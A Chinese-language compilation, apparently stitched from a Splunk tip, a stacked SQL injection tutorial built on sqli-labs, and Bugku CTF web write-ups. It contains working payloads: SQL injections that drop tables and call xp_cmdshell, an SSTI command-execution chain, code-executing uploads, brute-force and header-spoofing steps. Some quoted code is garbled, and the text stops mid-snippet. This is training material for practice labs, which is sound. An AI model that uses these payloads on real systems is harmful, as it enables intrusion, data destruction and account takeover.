使用delete命令需要开启该角色的can_delete权限 1、 权限设置 打开→设置→访问控制→角色→角色名称:admin继承can_delete角色。 2、测试删除 index="apachedata" sourcetype="access_combined_wcookie" host="bigdbbook-www1"|delete 删除bigDBbook-www1主机的日志信息,并打印出详细的删除信息 四、导入后的数据乱码 导入后的数据乱码了,是否可以重新再导入? 可以。在Splunk里,称为“重新索引(reindex)”。 方法: 1)重新索引所有数据: splunk clean eventdata-index 索引名称 2)选择性重新索引某个文件: splunk cmdbtprobe-d $SPLUNK_HOME/var/lib/splunk/fishbucket/splunk_private_db–file $FILE –reset /opt/splunkforwarder/etc/apps/search/local
  16. 0x00 堆叠注入定义 Stacked injections(堆叠注入)从名词的含义就可以看到应该是一堆 sql 语句(多条)一起执行。而在真实的运用中也是这样的, 我们知道在 mysql 中, 主要是命令行中, 每一条语句结尾加; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做 stacked injection。 0x01 堆叠注入原理 在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为: Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。 0x02 堆叠注入的局限性堆叠注入的局限性在于并不是每一个环境下都可以执行,可能受到API或者数据库引擎不支持的限制,当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。 此图是从原文中截取过来的,因为我个人的测试环境是php+mysql,是可以执行的,此处对于mysql/php存在质疑。但个人估计原文作者可能与我的版本的不同的原因。虽然我们前面提到了堆叠查询可以执行任意的sql语句,但是这种注入方式并不是十分的完美的。在我们的web系统中,因为代码通常只返回一个查询结果,因此,堆叠注入第二个语句产生错误或者结果只能被忽略,我们在前端界面是无法看到返回结果的。因此,在读取数据时,我们建议使用union(联合)注入。同时在使用堆叠注入之前,我们也是需要知道一些数据库相关信息的,例如表名,列名等信息。 0x03 各个数据库实例介绍本节我们从常用数据库角度出发,介绍几个类型的数据库的相关用法。数据库的基本操作,增删查改。以下列出数据库相关堆叠注入的基本操作。 1.Mysql(1)新建一表 select * from users where id=1;create table test like users; 执行成功,我们再去看一下是否新建成功表。 (2)删除上面新建的test表 select * from users where id=1;drop table test; (3)查询数据select * from users where id=1;select 1,2,3; (4)加载文件 select * from users where id=1;select load_file('c:/tmpupbbn.php'); (4) 修改数据select * from users where id=1;insert into users(id,username,password) values('100','new','new'); 2. Sql server(1)增加数据表 select * from test;create table sc3(ss CHAR(8)); (2) 删除数据表 select * from test;drop table sc3; (4)查询数据 select 1,2,3;select * from test; (5)修改数据 select * from test;update test set name='test' where id=3; (5)sqlserver中最为重要的存储过程的执行 select * from test where id=1;exec master..xp_cmdshell 'ipconfig' 3.Oracle上面的介绍中我们已经提及,oracle不能使用堆叠注入,可以从图中看到,当有两条语句在同一行时,直接报错。无效字符。后面的就不往下继续尝试了。 4.Postgresql(1)新建一个表 select * from user_test;create table user_data(id DATE); 可以看到user_data表已经建好。 (2)删除上面新建的user_data表select * from user_test;delete from user_data; (3)查询数据 select * from user_test;select 1,2,3; (4) 修改数据 select * from user_test;update user_test set name='modify' where name='张三'; 0x04 堆叠注入之sqllaps实列 1.Less-38 堆叠注入 - 字符型 - GET(1)源代码 $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; (2)测试 ?id=1’;insert into users(id,username,password) values (‘38’,’less38’,’hello’)–+ mysql> select * from users; +----+----------+------------+ | id | username | password | +----+----------+------------+ | 1 | Dumb | Dumb | | 2 | Angelina | I-kill-you | | 3 | Dummy | p@ssword | | 4 | secure | crappy | | 5 | stupid | stupidity | | 6 | superman | genious | | 7 | batman | mob!le | | 8 | admin | admin | | 9 | admin1 | admin1 | | 10 | admin2| admin2 | | 11 | admin3| admin3 | | 12 | dhakkan| dumbo | | 14 | admin4| admin4 | | 38 | less38| hello | +----+----------+------------+ 14 rows in set (0.00 sec) 发现已经添加了一个 less38 用户 ?id=1’;create table less38 like users; ?id=1’;drop table less38; 2.Less-39 堆叠注入 - 整型 - GET(1)源代码 $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1"; (2)测试 ?id=1;insert into users(id,username,password) values (‘39’,’less39’,’hello’)–+ mysql> select * from users; +----+----------+------------+ | id | username | password | +----+----------+------------+ | 1 | Dumb | Dumb | | 2 | Angelina | I-kill-you | | 3 | Dummy | p@ssword | | 4 | secure | crappy | | 5 | stupid | stupidity | | 6 | superman | genious | | 7 | batman | mob!le | | 8 | admin | admin | | 9 | admin1 | admin1 | | 10 | admin2| admin2 | | 11 | admin3| admin3 | | 12 | dhakkan| dumbo | | 14 | admin4| admin4 | | 38 | less38| hello | | 39 | less39| hello | +----+----------+------------+ 15 rows in set (0.00 sec) 可以看到已经添加了 less39 用户了 ?id=1;create table less39 like users; ?id=1;drop table less39; 3.Less-40 盲注 - 堆叠注入 - 字符型 - GET(1)源代码 $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1"; (2)测试 ?id=1’); insert into users(id,username,password) values (‘40’,’less40’,’hello’)–+ mysql> select * from users; +-----+----------+------------+ | id | username | password | +-----+----------+------------+ | 1 | Dumb | Dumb | | 2 | Angelina | I-kill-you | | 3 | Dummy | p@ssword | | 4 | secure | crappy | | 5 | stupid | stupidity | | 6 | superman | genious | | 7 | batman | mob!le | | 8 | admin | admin | | 9 | admin1 | admin1 | | 10 | admin2 | admin2 | | 11 | admin3 | admin3 | | 12 | dhakkan | dumbo | | 14 | admin4 | admin4 | | 38 | less38 | hello | | 39 | less39 | hello | | 109 | hello| hello | | 40 | less40 | hello | +-----+----------+------------+ 17 rows in set (0.00 sec) 看到添加了 less40 用户 ?id=1’);create table less40 like users; ?id=1’);drop table less40; 4.Less-41 盲注 - 堆叠注入 - 整型 - GET(1)源代码 $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1"; (2)测试(盲注) 创建users表和增加字段值 ?id=1; insert into users(id,username,password) values (‘110’,’less41’,’hello’)–+ mysql> select * from users; +-----+----------+------------+ | id | username | password | +-----+----------+------------+ | 1 | Dumb | Dumb | | 2 | Angelina | I-kill-you | | 3 | Dummy | p@ssword | | 4 | secure | crappy | | 5 | stupid | stupidity | | 6 | superman | genious | | 7 | batman | mob!le | | 8 | admin | admin | | 9 | admin1 | admin1 | | 10 | admin2 | admin2 | | 11 | admin3 | admin3 | | 12 | dhakkan | dumbo | | 14 | admin4 | admin4 | | 38 | less38 | hello | | 39 | less39 | hello | | 109 | hello| hello | | 40 | less40 | hello | | 110 | less41| hello | +-----+----------+------------+ 18 rows in set (0.00 sec) 添加了用户 less41 ?id=1;create table less41 like users; //增加表 ?id=1;drop table less41; //删除表 5.Less-42 报错型堆叠注入 - 字符型 - POST(1)源代码(login.php): $username = mysqli_real_escape_string($con1, $_POST["login_user"]); $password = $_POST["login_password"]; $sql = "SELECT * FROM users WHERE username='$username' and password='$password'"; //Password 变量在post 过程中,没有通过 mysql_real_escape_string() 函数的处理。因此在登录的时候密码选项我们可以进行 attack。 (2)报错测试 测试语句: username:任意 password : c';drop table me# # 删除 me 表 或者: username:任意 password : c';create table me like users# // 创建一个 me 表 登录之前查看表: mysql> show tables; +--------------------+ | Tables_in_security | +--------------------+ | emails| | referers| | uagents| | users| +--------------------+ 4 rows in set (0.00 sec) 登录前创建表 username :admin password : c';create table less42 like users# 登录后查看创建表 mysql> show tables; +--------------------+ | Tables_in_security | +--------------------+ | emails| | less42| | referers| | uagents| | users| +--------------------+ 5 rows in set (0.00 sec) 发现添加了一个 less42 表,登录时构造的 sql 语句为: SELECT * FROM users WHERE username=’admin’ and password=’c’;create table less42 like users–+//利用 c’;drop table me#作为登录密码,删除该表。 登录前删除表 username: admin password : c’;drop table less42# 登录后查看删除表 mysql> show tables; +--------------------+ | Tables_in_security | +--------------------+ | emails| | referers| | uagents| | users| +--------------------+ 4 rows in set (0.00 sec) 6.Less-43 报错型 - 堆叠注入 - 字符型 - POST(1)源代码 $username = mysqli_real_escape_string($con1, $_POST["login_user"]); $password = $_POST["login_password"]; $sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')"; (2)测试 登录前测创建表 username : admin password: c');create table less43 like users# 登录后查看增加表 mysql> show tables; +--------------------+ | Tables_in_security | +--------------------+ | emails| | less43| | referers| | uagents| | users| +--------------------+ 5 rows in set (0.00 sec) 登录前测试删除表 username :admin password : c');drop table less43# 登录后查看删除表 mysql> show tables; +--------------------+ | Tables_in_security | +--------------------+ | emails| | referers| | uagents| | users| +--------------------+ 4 rows in set (0.00 sec) 6.Less-44 盲注 - 堆叠注入 - 字符型 - POST(1)源代码 username=mysqlirealescapestring(username=mysqlirealescapestring(con1, POST[“loginuser”]);POST[“loginuser”]); password = POST[“loginpassword”];POST[“loginpassword”]; sql = "SELECT * FROM users WHERE username='username′andpassword=′username′andpassword=′password’”; (2)测试(盲注) 登录前测试插入表和值 username : admin password : a';insert into users(id,username,password) values ('144','less44','hello')# 登录后查看增加表和值 mysql> select * from users; +-----+----------+------------+ | id | username | password | +-----+----------+------------+ | 1 | Dumb | Dumb | | 2 | Angelina | I-kill-you | | 3 | Dummy | p@ssword | | 4 | secure | crappy | | 5 | stupid | stupidity | | 6 | superman | genious | | 7 | batman | mob!le | | 8 | admin | admin | | 9 | admin1 | admin1 | | 10 | admin2 | admin2 | | 11 | admin3 | admin3 | | 12 | dhakkan | dumbo | | 14 | admin4 | admin4 | | 38 | less38 | hello | | 39 | less39 | hello | | 109 | hello| hello | | 40 | less40 | hello | | 110 | less41| hello | | 144 | less44| hello | +-----+----------+------------+ 19 rows in set (0.00 sec) 7.Less-45 报错型堆叠注入 - 字符型 - POST(1)源代码 $username = mysqli_real_escape_string($con1, $_POST["login_user"]); $password = $_POST["login_password"]; $sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')"; (2)测试 登录前测试增加表 username : admin password : c');create table less45 like users# //创建了less45表 登录后查看增加表 mysql> show tables; +--------------------+ | Tables_in_security | +--------------------+ | emails| | less45| | referers| | uagents| | users| +--------------------+ 5 rows in set (0.00 sec) 登录前测试删除表 username: admin password : c');drop table less45# 登录后查看删除表 mysql> show tables; +--------------------+ | Tables_in_security | +--------------------+ | emails| | referers| | uagents| | users| +--------------------+ 4 rows in set (0.00 sec)
  17. 题目名称:Simple_SSTI_2题目wirteup:启动题目场景,获得靶场网站,访问网站,页面显示url连接需要连接一个 flag参数http://114.67.246.176:19131/根据题目内容,该题是一个ssti漏洞,这里构造ssti,参数构造flag={{3+2}},报错,且是flaskhttp://114.67.246.176:19131/?flag={{3+2}} 又尝试构造flag={{3*2}},发现页面显示6.证明系统存在ssti漏洞http://114.67.246.176:19131/?flag={{3*2}}通过config变量查看flask的配置信息,并没有可利用点http://114.67.246.176:19131/?flag={{config}} 通过{{ config.__class__.__init__.__globals__['os'].popen('ls ../').read() }}读取系统文件,这里读取网站系统目录,发现存在一些文件夹,一个个进入查看,发现第一个看的app文件夹里就有flag##__class__:用来查看变量所属的类,根据前面的变量形式可以得到其所属的类。##__init__ 初始化类,返回的类型是function##__globals__[] 使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。##os.popen() 方法用于从一个命令打开一个管道。##open() 方法用于打开一个文件,并返回文件对象 http://114.67.246.176:19131/?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27ls%20../%27).read()%20}}通过{{ config.__class__.__init__.__globals__['os'].popen('ls ../app').read() }}读取app目录下的文件,发现存在flag文件http://114.67.246.176:19131/?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27ls%20../app%27).read()%20}}通过{{ config.__class__.__init__.__globals__['os'].popen('cat ../app/flag').read() }}读取flag内容http://114.67.246.176:19131/?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27cat%20../app/flag%27).read()%20}}最终得到flag:flag{fcf301ac393f2215b3664d749c2d875e} 题目名称:Flask_FileUpload题目witeup:http://114.67.246.176:12896/对文件上传页面进行源码查看,发现只允许上传jpg和png文件名格式,且让我们上传文件,文件内容会被python执行view-source:http://114.67.246.176:12896/system函数可以将字符串转化成命令在服务器上运行;其原理是每一条system函数执行时,其会创建一个子进程在系统上执行命令行,子进程的执行结果无法影响主进程;os.system方法是os模块最基础的方法,其它的方法一般在该方法基础上封装完成。这里使用python的os包中的system函数读取flag这里上传一个test.jpg,其内容是读取网站根目录import os os.system('ls /') 上传成功,并查看源代码,发现存在系统网站的根目录,并且也发现根目录中包含flag文件 查看flag import os os.system('cat /flag') 上传成功,并查看源代码,并发现flag内容最终flag:flag{e541f3aadc9575ed6b6832b7ca34e327} 题目名称:计算器题目内容:计算正确即可得到flag题目writeup:其他题目场景,获得靶场网站,访问网站,发现需要输入正确的验证码,才能获得flag,通过f12元素审核,查看源代码中包含了一个code.jshttp://114.67.246.176:16139/ 查看code.js,发现 flag内容http://114.67.246.176:16139/js/code.js最终得到flag:flag{e5d6e3fe29850f7fec9ea6ef55f86050} 题目名称:GET题目内容:flag{}题目wirteup:启动题目场景,获得靶场网站,访问网站,页面上显示了一段php代码http://114.67.246.176:13678/进行简单的代码审计,发现传递http get方法的what参数变量,当what参数变量等于flag时,那么就输出flag,这里构造:?what=flag,即可得到flaghttp://114.67.246.176:13678/?what=flag最终flag:flag{54790dba4001f7ded2ebde88ca82a3ca} 题目名称:POST题目writeup:启动题目场景,获得靶场网站,访问网站,发现一段php代码http://114.67.246.176:15053/ 进行简单的代码审计,发现传递http post get方法的what参数变量,当what参数变量等于flag时,那么就输出flag,这里构造:http://114.67.246.176:15053/post:what=flag 即可获得flag最终flag:flag{4335dd4cc76278468578d8026fb121ae} 题目名称:矛盾题目writeup:启动题目场景,获得靶场网站,访问网站,发现是一段php 代码 通过对代码的简单分析,我们可以发现传入了一个参数num,这里涉及道一个函数is_numeric,这个函数是检测变量是否为数字或数字字符串,是数字和数字字符串则返回 TRUE,否则返回 FALSE 这条语句的意思是要传入的num参数既不是数字字符串,并且又要等于1.' num==1的判定是两个等号,这是弱类型比较,如果等号两边类型不同,会转换成相同类型再比较。 在弱类型比较下,当一个字符串与数字比较时,会把字符串转换成数字,具体是保留字母前的数字。例如123ab7c会转成123,ab7c会转成0.(字母前没数字就是0),所以,构造:?num=1a,即可得到flag http://114.67.246.176:16671/?num=1a 最终 flag:flag{d95c4676fd2740a47e0393cf3364e3e3} 题目名称:alert题目内容:flag{}题目wireup:启动场景,获得靶场网站,打开页面,发现是一个无限制弹窗http://114.67.246.176:15743/对其通过源码形式访问,并查看网页源码,发现注释中有一段以&#开头的unicode编码通过在线unicode解密,得到flag内容http://tool.chinaz.com/tools/unicode.aspx最终flag:flag{09eec7218f68c04c87093052720c2c11} 题目名称:你必须让他停下题目wireup:启动题目场景,获得靶场网站,访问网站,页面不断刷新图片对页面进行源代码查看,并没有发现flag,只是有单不断刷新页面的scirpt脚本通过bupsuit对其抓包,然后我们通过不断重复的发送数据包go,最终在响应页面可以看到flag内容 最终flag:flag{ff9acfa3bbec16fe29b3ad5aef8f5421} 题目名称:社工-初步收集题目内容:其实是杂项,勉强算社工吧。来自当年实战题目writeup:启动题目场景,获得靶场网站,访问网站,发现是一个刷钻网站http://114.67.246.176:13506/#goumai通过御剑对其目标靶场网站进行目录扫描,发现存在admin后台访问admin目录,确实存在后台http://114.67.246.176:13506/admin/login.php在该靶场主页下方,可下载辅助,这里我么对其下载。 解压后,然后再虚拟机中运行该刷钻程序 在输入qq和密码点击开始,通过wrishark 对其抓包分析,发现弹出一个窗口“哈哈,小别致别骗了” 仔细观察抓到的包,会发现疑似存在发包的邮箱和Base64加密的Pass。 对base64进行解密成功,看起来,这个不像是密码,太长了,而是想授权码。 打开Foxmail登录,输入邮箱地址,然后输入授权码,即可登录。 查看收件箱,按“主题”排序后,找到一封有可利用信息的邮件 可以看到发件人为Mara 发件时间是2021年,现在20岁,可以判断在2001年出生 又说是前两天过生日,可以判断生日为2月6号 尝试登陆一下输入:用户名mara ,密码为maryy生日号码:20010206 成功登录系统,查看网站后台中的网站设置---播放器key,即可得到flag 最终得到flag:flag{c4cba16a2f1a2d5aedf2ddd90a6bd04f} 题目名称:game1题目wirtup:启动题目场景,获得靶场网站,访问网站,发现一个玩游戏,获得最高分数,可获得flag.这里可以任意随便玩一局。http://114.67.246.176:17941/?s=1629731758384然后在游戏结束前通过bupsuit对其抓包分析,发现结果和source和ip以及sing三个参数的值有关。http://114.67.246.176:17941/score.php?score=50&ip=183.221.17.223&sign=zMNTA=== sing参数变量后的值看起像base64,对其解密发现是乱码查看靶场游戏主页的源码,发现sing的变量值等base64.encode(source.toString()),这里看不出有啥可利用点。view-source:http://114.67.246.176:17941/再次进行一次玩游戏,这次得分为25,游戏结束前对其抓包分析。http://114.67.246.176:17941/score.php?score=25&ip=183.221.17.223&sign=zMMjU===通过上面2次玩游戏结束前抓包分析得出:发现sing的值都是ZM开头,以及分数25的base64是MjU=,分数50的base64为NTA=得出结果为:sing=ZM+base64(score)+==这里我们可以将分数修改为高分数,以及修改对应的sing,并发送请求包即可得到flag 构造:http://114.67.246.176:17941/score.php?score=9999&ip=183.221.17.223&sign=zMOTk5OQ==== 最终flag:flag{c69ec14d9d44ba5ff1122ea5bc89b025} 题目名称:网站被黑题目内容:网站被黑了 黑客会不会留下后门题目wirteup:启动题目场景,获得靶场网站,访问网站,发现页面是一个黑页http://114.67.246.176:19231/通过御剑目录扫描工具对靶场黑页进行目录扫描,发现网站存在一个shell.php文件得到一个webshell后门文件http://114.67.246.176:19231/shell.php 这里输入任意密码,通过bupsuit对其抓包这里通过buspuit的intruder功能加载常用的webshell后门字典,即可爆破成功,得到flag的内容最终得到flag:flag{77bc54f531f526c0c26d2023284bd97f} 题目名称:本地管理员题目wirteup:启动题目场景,获得靶场网站,访问网站,页面是一个登陆页面。根据题目名称,猜测用户名为admin.这里密码输入任意如:123456,提交登陆http://114.67.246.176:10392页面返回提示:IP禁止访问,请联系本地管理员登陆,IP已被记录 猜测可能客服端的源IP需要进行伪造,这里伪造源IP请求IP地址为:127.0.0.1这里对输入用户名和密码,通过bupsuit对其抓包,然后将x-forwarded-for:127.0.0.1添加到http请求头部,并发送请求。响应页面没有显示无效的认证,请重试,说明密码不正确在响应内容最结尾的注释中有一段base64字符串:dGVzdDEyMw==,对其进行base64解密得到:test123,猜测解密后的字符应该是admin用的密码输入用户名admin,密码test123,http头部添加x-forwarded-for:127.0.0.1,发送请求,在响应页面,可获得flag内容 最终flag:flag{e44f5b5a923d2078715516b17860d984} 题目名称:bp题目内容:弱密码top1000?z?????请找出密码题目writeup:启动题目场景,获得靶场网站,访问网站,页面是一个登陆页面。输入用户名admin,密码123456,对其抓包分析通过burpsuit的intruder功能加载top1000的弱密码字典进行爆破 查看响应的返回值,发现密码正确与否状态和长度都一样,并查看返回值,发现js代码中,分析后发现结果中都包含了{code:'bugku10000'},可能正确答案不包含 通过Burpsuite的 Grep – Match 在响应中找出存在指定的内容的一项,并过滤掉存在JavaScript代码中的{code: 'bugku10000'}的数据包点击Intruder中的options选项卡找到Grep-Match(在响应中找出存在指定的内容的一项。),在输入框中我们输入{code: 'bugku10000'}之后点击Add添加。 再次开始攻击,攻击完成之后我们此时观察的不是length的长度,而是我们添加的{code: 'bugku10000'}。我们发现有一个数据包在{code: 'bugku10000'}没有打上✅表示数据包中没有这一项,非常可疑。于是我们找到对应的payload内容。发现对应的payload为zxc123。我们尝试在网站上进行登录 输入用户名admin,密码zxc123,即可登录系统,得到flag内容最终flag:flag{347be207c0c4099025c976436c011634} 题目名称:变量1题目内容:题目变量1题目writeup:启动题目场景,获得靶场网站,访问网站,发现页面是一段php代码http://114.67.246.176:18849/ 显示的php代码如下:flag In the variable ! <?php error_reporting(0); // 关闭php错误显示include "flag1.php"; // 包含flag1.php文件代码highlight_file(__file__);if(isset($_GET['args'])){ // 通过get方式传递 args变量才能执行if里面的代码 $args = $_GET['args']; if(!preg_match("/^\w+$/",$args)){ // 正则表达式的意思是匹配任意 [A-Za-z0-9_] 的字符,就是任意大小写字母和0到9以及下划线组成 die("args error!"); } eval("var_dump($$args);");}?>代码简单分析:其中preg_match("/^\w+$/",$args)执行正则表达式匹配:/^表示开始,\w表示任意一个字符,即[a-z][A-Z][0-9],+将前面的字符匹配一次或多次,$/结束。后面的args变量是被匹配的。相当于在args变量里寻找符合正则表达式的部分,若有则返回1,若没有则返回0。(相当于搜索子字符串)提示说flag在变量里面,经分析只要运行 eval("var_dump($$args);");,falg很有可能就会出来$$arg我们可以猜想$args很有可能是一个数组,应该想到的就是超全局变量$GLOBALS它是用来存储全局变量的,全局变量的值在这个超级全局变量里面是一个键值,先当于hashmap的键值对。全局变量可以通过变量名在$GLOBALS找到相对应的值。eval()这个函数的作用是字符串里面的php代码按正常的php代码被执行 我们只需给变量传一个全局数组变量就好了,所以我们构造 ?args=GLOBALS加到url后面http://114.67.246.176:18849/?args=GLOBALS注:此处全局变量的GLOBALS必须为大写!!!!最终flag:flag{84e8f1a1ac2ed86c817843b8f09f5fd6} 题目名称:头等舱题目writeup:启动题目场景,获得靶场网站,访问网站,页面显示以及源码都没有view-source:http://114.67.246.176:10611/通过bupsuit对其抓包分析,发现在响应页面中的http头部中包含了flag内容 最终flag:flag{802688cfc5b74ca38d78e5b285420930} 题目名称:社工-伪造题目内容:伪造信息也算是一道实战题,虽然出的没头没脑的题目writeup:启动题目场景,获得靶场网站,发现是一个聊天室http://114.67.246.176:10697/这里输入我的QQ小号:31964xxx640,可登录进去然后和小美对话,发送flag消息,返回信息告诉我们flag 只有她告诉她男朋友 点击小美的QQ空间发现在QQ空间说说中,也显示想要找到flag,只有她的男朋友才能获得flag.在说说截图中,可以看到小美的男朋友的QQ名称叫小bug这里我们可以伪造冒充她的男朋友给她发信息,于是在QQ好友搜索小bug,并且看到头像和名称一样的QQ,发现她男朋友的QQ为:913850006在聊天室登录窗口中输入QQ号913850006登录聊天室。和小美对话,在聊天中发送flag,即可获得flag内容 最终flag:flag{18824c773fb4c8fca6813b7070dfa99c} 题目名称:source题目内容:我哥说渗透我只用linux环境题目wireup:启动题目场景,获得靶场网站,访问页面显示“Hello,world,this is my fiend"http://114.67.246.176:16091/并查看靶场网站的源码,发现存在一个flag,提交flag,但是显示错误,证明这个flag是假的。view-source:http://114.67.246.176:16091/通过dirsearch.py对靶场网站进行目录扫描,发现存在.git泄露python3 dirsearch.py -u http://114.67.246.176:16091/访问/.git/目录,靶场网站确实存在目录可以预览和下载http://114.67.246.176:16091/.git/ 这里通过git_extract.py对/.git/进行下载python git_extract.py http://114.67.246.176:16091/.git/查看flag,发现真正的flag在flag.txt.726e5d文件中。cat flag.txt.726e5d 最终flag为:flag{git_is_good_distributed_version_control_system} 题目名称:源代码题目内容:看看源代码题目wirteup:启动题目场景,获得靶场网站,访问网站,发现主页是一个文本框需要提交。http://114.67.246.176:14752/index.php对其靶场网站主页进行查看源代码,发现存在加密的script 脚本,脚本内容是url编码view-source:http://114.67.246.176:14752/通过在线工具对其URL进行解码:http://tool.chinaz.com/tools/urlencode.aspxurl解码整理得到:<script>var p1 = 'function checkSubmit(){var a=document.getElementById("password");if("undefined"!=typeof a){if("67d709b2b';var p2 = 'aa648cf6e87a7114f1"==a.value)return!0;alert("Error");a.focus();return!1}}document.getElementById("levelQuest").onsubmit=checkSubmit;';eval(unescape(p1) + unescape('54aa2' +p2));</script>javascript的eval(string)函数将计算字符串,其中含有要计算的 JavaScript 表达式或要执行的语句,返回值为计算结果(执行结果)Javascript的unescape(string)函数通过找到形式为 %xx 和 %uxxxx 的字符序列(x 表示十六进制的数字),用 Unicode 字符 \u00xx 和 \uxxxx 替换这样的字符序列进行解码。通过分析,上面的JS最终转换为:function checkSubmit(){ var a=document.getElementById("password"); if("undefined"!=typeof a){ if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value) return!0; alert("Error"); a.focus(); return!1 } } document.getElementById("levelQuest").onsubmit=checkSubmit;根据代码的提示,我们将67d709b2b54aa2aa648cf6e87a7114f1填到输入文本框内,就能得到flag内容最终flag:flag{ec16d4c9b20f41cd93d2dac273c26ae4} 题目名称:文件包含题目内容: flag{}题目writeup:启动题目场景,获得靶场网站,访问靶场网站主页,页面显示click me?nohttp://114.67.246.176:12072/点击click me ?no,进入一个新的url连接,?file=show.php看起来像文件包含(题目名称也告诉是文件包含)。显示靶场网站存在index.phphttp://114.67.246.176:12072/index.php?file=show.php这里尝试通过php://fiter伪协议读取index.php的源码,可成功读取到源码,读取出来的源码是base64 加密的http://114.67.246.176:12072/index.php?file=php://filter/read=convert.base64-encode/resource=index.php 得到加密的 base64:77u/PGh0bWw+DQogICAgPHRpdGxlPkJ1Z2t1LXdlYjwvdGl0bGU+DQogICAgDQo8P3BocA0KCWVycm9yX3JlcG9ydGluZygwKTsNCglpZighJF9HRVRbZmlsZV0pe2VjaG8gJzxhIGhyZWY9Ii4vaW5kZXgucGhwP2ZpbGU9c2hvdy5waHAiPmNsaWNrIG1lPyBubzwvYT4nO30NCgkkZmlsZT0kX0dFVFsnZmlsZSddOw0KCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpew0KCQllY2hvICJPaCBubyEiOw0KCQlleGl0KCk7DQoJfQ0KCWluY2x1ZGUoJGZpbGUpOyANCi8vZmxhZzpmbGFne2IxZjhlNmRhNjE5MTMyN2Q3ZTAwNzcxYjI1M2I5ZWVhfQ0KPz4NCjwvaHRtbD4NCg==通过在线 base64 解密工具,可得到index.php的源码,且源码中就包含了flag的内容https://www.qqxiuzi.cn/bianma/base64.htm最终得到flag:flag{b1f8e6da6191327d7e00771b253b9eea} 题目名称:好像需要密码题目内容:题目writeup:启动题目场景,获得靶场网站,访问网站。发现页面需要输入纯5位数字才能得到 flaghttp://114.67.246.176:12730/这里通过crunch 命令生成纯5位数的字典crunch 5 5 0123456789 -o pass.txt在靶场主页密码框中输入任意5位数,点击查询,然后通过bursupit对其抓包进行分析。下面通过burpsuit的intruder进行攻击爆破pwd密码参数。加载生成的纯5位数的密码字典需要设置fuzz的线程数为100,这样爆破的速度更快点。在 payload为12468时,可获得flag.最终 flag:flag{19554f1b0596501e8a09ded120cc9315} 题目名称:备份是个好习惯题目内容:题目witeup:启动题目场景,获得靶场网站,访问靶场主页,页面内容显示看起像md5 加密字符串,但是对其解密是无法解密http://114.67.246.176:10983/通过御剑对靶场网站主页进行目录扫描,发现可以扫描出index.php.bak以及flag.php文件访问index.php.bk文件,可下载文件。http://114.67.246.176:10983/index.php.bak 得到的index.php源码:<?phpinclude_once "flag.php"; //包含 flag.php 文件ini_set("display_errors", 0); //设置不返回错误信息$str = strstr($_SERVER['REQUEST_URI'], '?'); //判断URL里是否有问号,存在就返回给 $str,获得URI从'?'往后(包括'?')的字符串$str = substr($str,1); //获取 ? 后面的值,去掉'?$str = str_replace('key','',$str); //将 $str 里面的 key 替换为空parse_str($str);//解析字符串echo md5($key1); //将 key1 进行 MD5 加密并输出 echo md5($key2); //将 key2 进行 MD5 加密并输出if(md5($key1) == md5($key2) && $key1 !== $key2){echo $flag."取得flag"; //如果 key1 和 key2 的值不相等,但是两个的 MD5 相等,就返回 flag}?>代码知识点:strstr() 函数 strstr(string,search,before_search) //搜索字符串在另一字符串中是否存在,如果是,返回该字符串及剩余部分,否则返回 FALSE(区分大小写),stristr() 函数,这个不区分;substr() 函数 substr(string,start,length) //返回字符串的一部分;str_replace() 函数str_replace(find,replace,string,count) // 替 换字符串中的一些字符(区分大小写)。parse_str() 函数 parse_str(string,array) //把查询字符串解析到变量中分析这段代码,可知:网页URL应该有两个参数key1和key2,网页显示key1、key2的md5值,如果这俩值比较相等,则显示flag、“取得flag”。网页已显示的原来是俩默认的md5值。现在关键,得到flag,需要不同的key1和key2的md5值比较相等。 所以,整段代码的意思就是截取URL?后的参数,并把gat到的变量中所有key替换为空格,不过这里我们可以用双写kkeyey绕过if(md5($key1) == md5($key2) && $key1 !== $key2)但是通过这段代码可以知道,我们传进去的变量,它们的md5值要相同,但它们本身却有不同,这里有两种方法绕过:法一:md5()函数是无法处理数组的,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是相等的。所以将key1,key2写成数组,内容不一样就行了。?kkeyey1[]=ss&kkeyey2[]=bbhttp://114.67.246.176:10983/?kkeyey1[]=ss&kkeyey2[]=bb法二: 利用==弱比较漏洞 众所周知,科学计数法为*e***,那么要使两个数的值相等,就只能是 0e***** ,所以只要找到两个加密之后是 0e 开头的数字,就可以绕过限制了。下面几个都是开头为0e的QNKCDZO240610708s878926199as155964671as214587387as214587387a?kkeyey1=QNKCDZO&kkeyey2=240610708注意:其中QNKCDZO和s878926199a的md5编码都以0e开头,这里用到了php中==的绕过http://114.67.246.176:10983/?kkeyey1=QNKCDZO&kkeyey2=240610708最终flag:flag{10b2a9f76f6d43d5a932b13f1fc06e90} 题目名称:No one knows regex better than me题目内容:正则好像没有想象中那么简单题目writeup:启动题目场景,获得靶场网站,访问靶场网站,页面显示了一段php代码http://114.67.246.176:14170/其php代码为:<?php error_reporting(0); $zero=$_REQUEST['zero']; $first=$_REQUEST['first']; $second=$zero.$first; if(preg_match_all("/Yeedo|wants|a|girl|friend|or|a|flag/i",$second)){ $key=$second; if(preg_match("/\.\.|flag/",$key)){ die("Noooood hacker!"); }else{ $third=$first; 